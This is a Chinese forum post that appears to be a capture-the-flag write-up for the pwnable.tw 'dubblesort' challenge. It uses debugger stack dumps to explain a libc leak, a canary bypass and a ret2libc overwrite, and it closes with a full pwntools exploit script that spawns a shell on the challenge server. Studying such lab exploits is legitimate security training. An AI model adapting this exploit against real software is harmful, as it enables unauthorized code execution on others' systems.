吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 3452|回复: 6
收起左侧

[调试逆向] pwnable.tw - dubblesort - retn2libc

[复制链接]
dreamingctf 发表于 2022-3-19 21:11
第一思路:本题开了好多保护,在 main 中没有 while 循环的情况下,要么一次性把问题解决,要么构造循环指令往前跳转一次解决部分问题

[Asm] 纯文本查看 复制代码
pwndbg> checksec
[*] 'dubblesort'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

根据题目题面提示:Sort the memory!
结合排序,说明我们输入的值肯定是需要控制好大小,把需要的信息输出的


说明需要构造合适的输入,把检查栈溢出的变量 v11(也就是 canary)打印出来,然后构造栈溢出
给了 libc,提示能够使用 return to libc
那么思考如下几个问题
一、泄露 libc 信息(基址)
二、构造排序的 payload 使得 canary 打印输出
三、构造执行 payload 获取 shell,第三步往往是模板了,很多现成的

一、泄露 libc 信息

[Asm] 纯文本查看 复制代码
./dubblesort
What your name :AAAA
Hello AAAA
,How many numbers do you what to sort :^Z
[1]+  Stopped                 ./dubblesort

./dubblesort
What your name :AAAAAAAA
Hello AAAAAAAA
C��y��H��,How many numbers do you what to sort :^Z
[2]+  Stopped                 ./dubblesort


在 gdb 调试里查看我们输入的数据
[Asm] 纯文本查看 复制代码
pwndbg> stack 40
00:0000│ esp     0xffffcfe0 ◂— 0x0
01:0004│         0xffffcfe4 —▸ 0xffffd01c ◂— 0x34333231 ('1234')
02:0008│         0xffffcfe8 ◂— 0x40 /* '@' */
03:000c│         0xffffcfec —▸ 0xffffd028 —▸ 0xf7e0a679 (__new_exitfn+9) ◂— add    ebx, 0x1a7987
04:0010│         0xffffcff0 —▸ 0xffffd02c —▸ 0xf7fb5808 (__exit_funcs_lock) ◂— 0x0
05:0014│         0xffffcff4 —▸ 0xffffd01b ◂— 0x33323100
06:0018│         0xffffcff8 ◂— 0x1
07:001c│         0xffffcffc ◂— 0xc2
08:0020│         0xffffd000 ◂— 0x0
09:0024│         0xffffd004 ◂— 0xc30000
0a:0028│         0xffffd008 ◂— 0x1
0b:002c│         0xffffd00c —▸ 0xf7ffc900 (_rtld_global_ro) ◂— 0x0
0c:0030│         0xffffd010 —▸ 0xffffd060 —▸ 0xf7fe5970 (_dl_fini) ◂— push   ebp
0d:0034│         0xffffd014 ◂— 0x0
0e:0038│         0xffffd018 ◂— 0x0
0f:003c│ ecx esi 0xffffd01c ◂— 0x34333231 ('1234')
10:0040│         0xffffd020 ◂— 0x38373635 ('5678')
11:0044│         0xffffd024 —▸ 0xffffd20a ◂— 0x5b500000
12:0048│         0xffffd028 —▸ 0xf7e0a679 (__new_exitfn+9) ◂— add    ebx, 0x1a7987
13:004c│         0xffffd02c —▸ 0xf7fb5808 (__exit_funcs_lock) ◂— 0x0
14:0050│         0xffffd030 —▸ 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
15:0054│         0xffffd034 —▸ 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
16:0058│         0xffffd038 ◂— 0x0

由于题目中的 printf 的 %s 的问题,导致是以 \x00 作为截断符号
我们输入的是12345678,在 0f:003c 处,00 在 16:0058 处,会把 15:0054 处的 0xf7fb2000 泄露出来
结合 vmmap 命令和 info sharedlibrary 可以算出来 libc 的基址

有了一、三就很好做了,下面讨论二
[Asm] 纯文本查看 复制代码
pwndbg> stack 50
00:0000│ esp 0xffd297f0 —▸ 0x5656dbfa ◂— and    eax, 0x6e450075 /* '%u' */
01:0004│     0xffd297f4 —▸ 0xffd29870 ◂— 0x0
02:0008│     0xffd297f8 ◂— 0x19
03:000c│     0xffd297fc —▸ 0xffd29838 ◂— 0xb /* '\x0b' */
04:0010│     0xffd29800 —▸ 0xffd2983c ◂— 0xc /* '\x0c' */
05:0014│     0xffd29804 —▸ 0xffd2982b ◂— 0x800
06:0018│     0xffd29808 ◂— 0x24 /* '$' */
07:001c│     0xffd2980c ◂— 0x0
08:0020│     0xffd29810 ◂— 0x1
09:0024│     0xffd29814 ◂— 0x2
0a:0028│     0xffd29818 ◂— 0x3
0b:002c│     0xffd2981c ◂— 0x4
0c:0030│     0xffd29820 ◂— 0x5
0d:0034│     0xffd29824 ◂— 0x6
0e:0038│     0xffd29828 ◂— 0x7
0f:003c│     0xffd2982c ◂— 0x8
10:0040│     0xffd29830 ◂— 9 /* '\t' */
11:0044│     0xffd29834 ◂— 0xa /* '\n' */
12:0048│     0xffd29838 ◂— 0xb /* '\x0b' */
13:004c│     0xffd2983c ◂— 0xc /* '\x0c' */
14:0050│     0xffd29840 ◂— 0xd /* '\r' */
15:0054│     0xffd29844 ◂— 0xe
16:0058│     0xffd29848 ◂— 0xf
17:005c│     0xffd2984c ◂— 0x10
18:0060│     0xffd29850 ◂— 0x11
19:0064│     0xffd29854 ◂— 0x12
1a:0068│     0xffd29858 ◂— 0x13
1b:006c│     0xffd2985c ◂— 0x14
1c:0070│     0xffd29860 ◂— 0x15
1d:0074│     0xffd29864 ◂— 0x16
1e:0078│     0xffd29868 ◂— 0x17
1f:007c│     0xffd2986c ◂— 0x5a3d0100
20:0080│ edi 0xffd29870 ◂— 0x0
21:0084│     0xffd29874 ◂— 0x0
22:0088│     0xffd29878 —▸ 0x5656db2b ◂— add    ebx, 0x1475
23:008c│     0xffd2987c ◂— 0x0
24:0090│     0xffd29880 —▸ 0xf7f6a000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
25:0094│     0xffd29884 ◂— 0x0
26:0098│ ebp 0xffd29888 ◂— 0x0
27:009c│     0xffd2988c —▸ 0xf7daafa1 (__libc_start_main+241) ◂— add    esp, 0x10
28:00a0│     0xffd29890 ◂— 0x1
29:00a4│     0xffd29894 —▸ 0xffd29924 —▸ 0xffd2a885 ◂— './dubblesort'
2a:00a8│     0xffd29898 —▸ 0xffd2992c —▸ 0xffd2a892 ◂— 0x435f534c ('LS_C')
2b:00ac│     0xffd2989c —▸ 0xffd298b4 ◂— 0x0
2c:00b0│     0xffd298a0 ◂— 0x1
2d:00b4│     0xffd298a4 —▸ 0xffd29924 —▸ 0xffd2a885 ◂— './dubblesort'
2e:00b8│     0xffd298a8 —▸ 0xf7f6a000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
2f:00bc│     0xffd298ac —▸ 0xf7f9d71a (call_init.part+26) ◂— add    edi, 0x178e6
30:00c0│     0xffd298b0 —▸ 0xffd29920 ◂— 0x1
31:00c4│     0xffd298b4 ◂— 0x0



从这个列表里,我们就可以数数了

1、每个数的要求
从 06:0018 -> 1f:007c 处,之前都要填上正常的数
在 1f:007c 要填上 canary
在 20 -> 26 这 7 个值为 padding 值
在 27 处要填写 system 函数地址(覆盖 eip)
在 28 处随意填写,该值为 system函数执行之后的返回地址
在 29 处填写 "/bin/sh" 的地址

2、数的要求
由于该题会把数从小到大排序,那么要注意 padding 值的大小
那么偷懒吧,把 20 ~ 28 都填上 system 地址就好了,之前的填上特别小的数
canary 的不修改技巧:用 + 号

这里忽略了一个问题是:本地的 offset 和远程的 offset 不同,不知道怎么解决,需要大家教学,求教!给个 exp
[Asm] 纯文本查看 复制代码
from pwn import *

debug = 0
online = 0

#context(log_level = "debug", arch = 'i386', os = "linux")
context(arch = 'i386', os = "linux")

if online == 0:
    io = process("./dubblesort")
    libc = ELF("/lib/i386-linux-gnu/libc.so.6")
    offset = 0x1d800a
else:
    io = remote("chall.pwnable.tw", 10101)
    libc = ELF("./libc_32.so.6")
    offset = 0x1b000a

rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True: io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s,addr : log.info("\033[1;31;40m %s --> 0x%x \033[0m" % (s, addr))
uu32 = lambda data : u32(data.ljust(4, "\x00"))
uu64 = lambda data : u64(data.ljust(8, "\x00"))

#Leak LIBC
ru("name :")
sl("A" * 24)
ru("A" * 24)
libc_addr = u32(rn(4)) - offset
print ("libc = " + hex(libc_addr))

system_addr = libc_addr + libc.sym[b"system"]
binsh_addr = libc_addr + libc.search(b"/bin/sh").__next__()
print ("system_addr = " + hex(system_addr))
print ("binsh_addr = " + hex(binsh_addr))

#Sort Numbers
ru("sort :")
sl("35")

for i in range(24):
    ru(":")
    sl(str(i))

#24 -> Canary
ru(":")
sl("+")

# STACK PADDING(7) && EIP -> system && RetAddr
for i in range(9):
    ru(":")
    sl(str(system_addr))

#system( arg )
ru(":")
sl(str(binsh_addr))

io.interactive()

免费评分

参与人数 5威望 +1 吾爱币 +23 热心值 +5 收起 理由
junjia215 + 1 + 1 谢谢@Thanks!
Hmily + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
huhuok + 1 我很赞同!
努力加载中 + 1 + 1 热心回复!
Lucifer_BW + 1 + 1 热心回复!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

69332748a 发表于 2022-3-19 23:06
楼主很厉害的样子!
tsb1 发表于 2022-3-20 10:09
32K 发表于 2022-3-20 12:35
lilymndd 发表于 2022-3-20 12:47
谢谢分享!
chenzhao8511 发表于 2022-3-21 01:39
很厉害,谢谢
iloveasdl 发表于 2022-3-21 08:49
学习了,谢谢分享
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-5-17 02:58

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表